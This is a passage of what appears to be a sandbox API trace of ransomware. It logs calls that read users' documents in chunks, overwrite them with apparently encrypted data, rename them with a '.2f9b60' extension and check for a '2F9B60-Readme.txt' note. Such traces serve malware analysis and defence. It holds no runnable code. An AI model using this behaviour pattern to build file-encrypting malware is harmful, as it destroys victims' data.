returned 0x3df1b72d [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0xbe41869 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x140d893c [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0xf9650d5 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0xc9993f8 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x48219cea [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x4d757d5d [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x21e5d48c [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x5abbd002 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x49ba42f4 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x6a44c35 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x55b34769 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x7be6f52a [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x1dd70de7 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x186090fa [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x5a106d02 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x1998a665 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x6ae1ef9e [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x31c679ca [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x78fe97b0 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x26085f9c [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x5c598b54 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x3b69b2ee [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x1d339852 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x44293985 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0xc9993f8 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x23ccd8c3 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x2b6cc36a [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x8b16c9c [0091.927] ReadFile (in: hFile=0xdac, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x2457, lpNumberOfBytesRead=0x2122f9b0, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x2122f9b0*=0x2457, lpOverlapped=0x0) returned 1 [0091.928] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.928] WriteFile (in: hFile=0xdac, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x2457, lpNumberOfBytesWritten=0x2122f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2122f9b4*=0x2457, lpOverlapped=0x0) returned 1 [0092.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0092.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0092.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0092.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0092.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0092.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0092.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9ebb0 [0092.029] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.029] WriteFile (in: hFile=0xdac, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2122fad0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2122fad0*=0x114, lpOverlapped=0x0) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebb0) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859640) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859490) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0b0) returned 1 [0092.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4da40 [0092.031] wcscpy (in: _Dest=0x1cf4da40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx" [0092.031] wcscat (in: _Dest=0x1cf4da40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx.2f9b60" [0092.032] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx.2f9b60", NtPathName=0x2122faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce108f0 [0092.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.033] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x2122fb58, FileInformation=0x2122fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2122fb58, FileInformation=0x2122fb68) returned 0x0 [0092.033] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x2122fb58, FileInformation=0x2122fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4da40) returned 1 [0092.035] FlushFileBuffers (hFile=0xdac) returned 1 [0092.095] CloseHandle (hObject=0xdac) returned 1 [0092.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85d710 [0092.096] wcscpy (in: _Dest=0x1b85d710, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.096] wcscat (in: _Dest=0x1b85d710, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.096] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0092.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 Thread: id = 485 os_tid = 0xc68 [0091.929] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\19MnukmEIQNUKIZj.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\19mnukmeiqnukizj.ots")) returned 0x20 [0091.929] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\19MnukmEIQNUKIZj.ots", dwFileAttributes=0x20) returned 1 [0091.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\19MnukmEIQNUKIZj.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\19mnukmeiqnukizj.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0091.929] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x213ff800 | out: lpFileSize=0x213ff800*=99449) returned 1 [0091.929] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x18475, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.929] ReadFile (in: hFile=0xd58, lpBuffer=0x213ff780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x213ff7c8, lpOverlapped=0x0 | out: lpBuffer=0x213ff780*, lpNumberOfBytesRead=0x213ff7c8*=0x4, lpOverlapped=0x0) returned 1 [0091.930] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af60 [0091.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0091.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.930] NtQuerySystemTime (in: CurrentTime=0x213ff6c0 | out: CurrentTime=0x213ff6c0*=132462176977570000) returned 0x0 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x26da4b41 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x693ea168 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0xd5ee594 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x725f49fb [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x4099a6c9 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x4f425b22 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x50e74a91 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x4099a6c9 [0091.930] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x67f07720 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x69079e62 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x5e42ce98 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x3dd76d95 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x5762e102 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x625b6b4d [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x15c1a713 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x536946c6 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x754ccc0d [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x39cc5274 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x1a4abc76 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x1ebe3470 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x76e665b8 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x504e4e5d [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x42771b03 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x1b433cf [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x58d8b755 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x72480c70 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x56a04fdf [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0xcaee8fe [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x76ef1fd3 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x476e0278 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x62710695 [0091.931] RtlRandomEx (in: Seed=0x213ff6b0 | out: Seed=0x213ff6b0) returned 0x63129665 [0091.940] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.940] ReadFile (in: hFile=0xd58, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213ff720, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x213ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0091.947] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0091.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af60 [0091.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85af60) returned 1 [0091.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0091.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af60 [0091.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0091.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0091.948] WriteFile (in: hFile=0xd58, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213ff720, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x213ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0091.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0091.995] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.995] ReadFile (in: hFile=0xd58, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213ff720, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x213ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0091.996] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0091.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0091.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0091.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0091.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0091.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7470 [0091.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7470) returned 1 [0091.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0091.996] WriteFile (in: hFile=0xd58, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213ff720, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x213ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0092.003] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x14879, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.003] ReadFile (in: hFile=0xd58, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213ff720, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x213ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.003] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x14879, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0092.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0092.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0092.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0092.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0092.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0092.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0092.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0092.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0092.004] WriteFile (in: hFile=0xd58, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213ff720, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x213ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0092.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863c00 [0092.012] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.012] WriteFile (in: hFile=0xd58, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x213ff7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x213ff7d0*=0x15a, lpOverlapped=0x0) returned 1 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0092.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced8100 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0092.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0092.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9d030 [0092.021] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="88") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="98") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="e4") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="ab") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="1b") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="5f") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="90") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="a7") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="1e") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="97") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="e4") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="72") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="21") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="60") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="ef") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="7d") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="79") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="21") returned 2 [0092.021] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="54") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="4c") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="a3") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="2b") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="3d") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="b2") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="08") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="ab") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="9b") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="48") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="13") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="b7") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="32") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="01") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="c8") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="43") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="07") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="4a") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="b3") returned 2 [0092.022] sprintf (in: _Dest=0x1cd9d07c, _Format="%c%c" | out: _Dest="ac") returned 2 [0092.023] sprintf (in: _Dest=0x1cd9d07e, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.023] RtlInitAnsiString (in: DestinationString=0x213ff848, SourceString="8898e4ab1b5f908ba71e97e4722160ef7d7921544ca32b3db208ab9b4813b73201c843074ab3ac2f" | out: DestinationString="8898e4ab1b5f908ba71e97e4722160ef7d7921544ca32b3db208ab9b4813b73201c843074ab3ac2f") [0092.023] RtlAnsiStringToUnicodeString (in: DestinationString=0x213ff818, SourceString="8898e4ab1b5f908ba71e97e4722160ef7d7921544ca32b3db208ab9b4813b73201c843074ab3ac2f", AllocateDestinationString=1 | out: DestinationString="8898e4ab1b5f908ba71e97e4722160ef7d7921544ca32b3db208ab9b4813b73201c843074ab3ac2f") returned 0x0 [0092.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce108f0 [0092.023] wcscat (in: _Dest=0x1cf4da40, _Source="8898e4ab1b5f908ba71e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8898e4ab1b5f908ba71e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8898e4ab1b5f908ba71e" [0092.023] wcscat (in: _Dest=0x1cf4da40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8898e4ab1b5f908ba71e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8898e4ab1b5f908ba71e.2f9b60" [0092.023] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8898e4ab1b5f908ba71e.2f9b60", NtPathName=0x213ff7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS 